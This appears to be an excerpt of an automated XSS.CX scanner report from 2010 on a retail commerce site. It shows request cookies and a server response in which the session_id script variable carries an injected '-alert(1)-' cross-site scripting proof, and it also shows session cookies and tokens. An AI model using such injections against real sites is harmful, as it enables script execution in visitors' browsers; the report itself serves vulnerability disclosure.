WC_GENERIC_ACTIVITYDATA=[10585889033%3atrue%3afalse%3a0%3ajNuG992AJQ%2fMJ%2b74t06A%2b1rEO5k%3d][com.ibm.commerce.context.globalization.GlobalizationContext|%2d1%26USD%26%2d1%26USD][com.shc.ecom.context.OrderItemEventContext|null][com.shc.ecom.context.KioskContext|K%253Dfalse%26U%253DNULL%26M%253DNULL%26T%253D0%26I%253DNULL][com.ibm.commerce.context.experiment.ExperimentContext|null][com.shc.ecom.giftregistry.online.context.GRUserTypeContext|null][com.ibm.commerce.context.audit.AuditContext|null][com.ibm.commerce.context.base.BaseContext|10153%26%2d1002%26%2d1002%26%2d1][CTXSETNAME|Store][com.shc.ecom.browse.context.KmartSPUContext|null][com.ibm.commerce.context.entitlement.EntitlementContext|null%26null%26null%26null][com.shc.ecom.browse.context.AutoFitmentContext|null][com.ibm.commerce.gifregistry.context.GiftRegistryContext|null%26null%26null]; WC_USERACTIVITY_-1002=%2d1002%2c10153%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2cnull%2c8dVl3HWDlQfBaideGZ2CmvzgGseXuWULDZo1nn%2b8jYBA65n6RexC%2bDL8dSWT50KZ8X2rKSbyjFsI%0awzsgTqIqCtAL%2bM%2bVPJz8YiOPrA%2boGQPSmYMTIDVMTmKVvLhUYbMOW6Wg1dc5MbovFK54Hc6Bdg%3d%3d;

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
P3P: CP=CAO PSA OUR
Content-Type: text/html; charset=ISO-8859-1
Content-Language: en-US
Expires: Tue, 16 Nov 2010 17:56:47 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 16 Nov 2010 17:56:47 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: JSESSIONID=0000ZiSbxa5lYB0Jv_0bJ-DkBhJ:15dvknaci; Path=/
Set-Cookie: KI_FLAG=false
Set-Cookie: KI_UNIT_NO=""
Set-Cookie: KI_ZIP_CODE=""
Set-Cookie: KI_USER_AGENT=false
Set-Cookie: akaau2=1289932007~id=22a9dda7e79833ff5942ae72c9fa876e; path=/
s-srvr: aixwcs479p.prod.ch4.s.com, prd4
Content-Length: 86123


                           
...[SNIP]...
<script>
br_data.search_term = '';
br_data.session_id = '0000l0Uaw1luJ0Jhun1UeiVyanP:15g986s6rd93cb'-alert(1)-'11121c42912';
br_data.is_conversion = "0";
       br_data.user_id = "";
       br_data.basket_value = "";
/* --- End parameter section --- */
var file = ("https:" == document.location.protocol) ? "https://cdns.brsrv
...[SNIP]...

Report generated by XSS.CX at Tue Nov 16 12:09:13 CST 2010.